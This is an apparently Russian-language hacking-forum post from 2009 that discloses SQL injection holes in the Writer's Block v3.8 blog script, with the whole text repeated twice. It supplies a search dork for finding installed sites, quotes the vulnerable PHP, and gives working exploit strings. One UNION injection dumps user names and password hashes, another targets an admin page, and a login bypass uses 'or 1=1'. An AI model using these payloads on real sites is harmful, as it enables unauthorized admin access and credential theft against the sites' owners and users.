Iceangel_
30.04.2009, 10:22
Уязвимости Writer's Block v3.8
download: http://www.desiquintans.com/writers-block/downloads/writersblock-current.zip
dork: "Published by Writer’s Block"
SQL-injection
1) archive.php (требования: magic_quotes=off)
уязвимый код:
if(isset($_GET['cat'])) {
## Check if category exists
$check = strpos($_GET['cat'], '+'); //это, какбе, защита от инъекций, походу =)
$check .= strpos($_GET['cat'], '%20'); //
if(!$check) {
$getinfo = mysql_query("SELECT PCatID, PostCatName, PostDesc FROM ".POSTCAT_TBL." WHERE PostCatUrl='".$_GET['cat']."'");
}
эксплуатирование:
archive.php?cat=-1'/**/union/**/select/**/1,concat_ws(0x3a,UserName,Password),3/**/from/**/wb_users/*
2) /admin/cat.php (требования: доступ в админ панель)
уязвимый код:
elseif ($_GET['action'] == 'edit') {
if (isset($_GET['PCatID'])) {
## Edit post category
$pagetitle = 'Edit Post Category';
include ('include/head.htm');
$retrieve = mysql_query ("SELECT * FROM ".POSTCAT_TBL." WHERE PCatID=".$_GET['PCatID']);
эксплуатирование:
в этой инъекции мк=офф уже не обязательно, но в админку еще попасть надо =)...
admin/cat.php?action=edit&PCatID=1+union+select+1,2,3,version(),5--
Bypass (требования: magic_quotes=off)
уязвимый код:
/admin/login.php
if($_POST['login']) {
$error = NULL;
if(empty($_POST['username']) or strpos($_POST['username'], ' ')) {
$u = FALSE;
$error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid username.</p>';
} else {
$u =& $_POST['username'];
}
if(empty($_POST['password']) or strpos($_POST['password'], ' ')) {
$p = FALSE;
$error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid password.</p>';
} else {
$p =& $_POST['password'];
}
if($u and $p) {
$get_user_auth = mysql_query("SELECT UserID, UserName, Password FROM ".USERS_TBL." WHERE UserName='$u' AND Password='".md5($p)."'");
эксплуатирование:
идем в /admin/login.php и вбиваем:
Username:'/**/or/**/1=1/*
Password:<any symbols without space>
download: http://www.desiquintans.com/writers-block/downloads/writersblock-current.zip
dork: "Published by Writer’s Block"
SQL-injection
1) archive.php (требования: magic_quotes=off)
уязвимый код:
if(isset($_GET['cat'])) {
## Check if category exists
$check = strpos($_GET['cat'], '+'); //это, какбе, защита от инъекций, походу =)
$check .= strpos($_GET['cat'], '%20'); //
if(!$check) {
$getinfo = mysql_query("SELECT PCatID, PostCatName, PostDesc FROM ".POSTCAT_TBL." WHERE PostCatUrl='".$_GET['cat']."'");
}
эксплуатирование:
archive.php?cat=-1'/**/union/**/select/**/1,concat_ws(0x3a,UserName,Password),3/**/from/**/wb_users/*
2) /admin/cat.php (требования: доступ в админ панель)
уязвимый код:
elseif ($_GET['action'] == 'edit') {
if (isset($_GET['PCatID'])) {
## Edit post category
$pagetitle = 'Edit Post Category';
include ('include/head.htm');
$retrieve = mysql_query ("SELECT * FROM ".POSTCAT_TBL." WHERE PCatID=".$_GET['PCatID']);
эксплуатирование:
в этой инъекции мк=офф уже не обязательно, но в админку еще попасть надо =)...
admin/cat.php?action=edit&PCatID=1+union+select+1,2,3,version(),5--
Bypass (требования: magic_quotes=off)
уязвимый код:
/admin/login.php
if($_POST['login']) {
$error = NULL;
if(empty($_POST['username']) or strpos($_POST['username'], ' ')) {
$u = FALSE;
$error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid username.</p>';
} else {
$u =& $_POST['username'];
}
if(empty($_POST['password']) or strpos($_POST['password'], ' ')) {
$p = FALSE;
$error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid password.</p>';
} else {
$p =& $_POST['password'];
}
if($u and $p) {
$get_user_auth = mysql_query("SELECT UserID, UserName, Password FROM ".USERS_TBL." WHERE UserName='$u' AND Password='".md5($p)."'");
эксплуатирование:
идем в /admin/login.php и вбиваем:
Username:'/**/or/**/1=1/*
Password:<any symbols without space>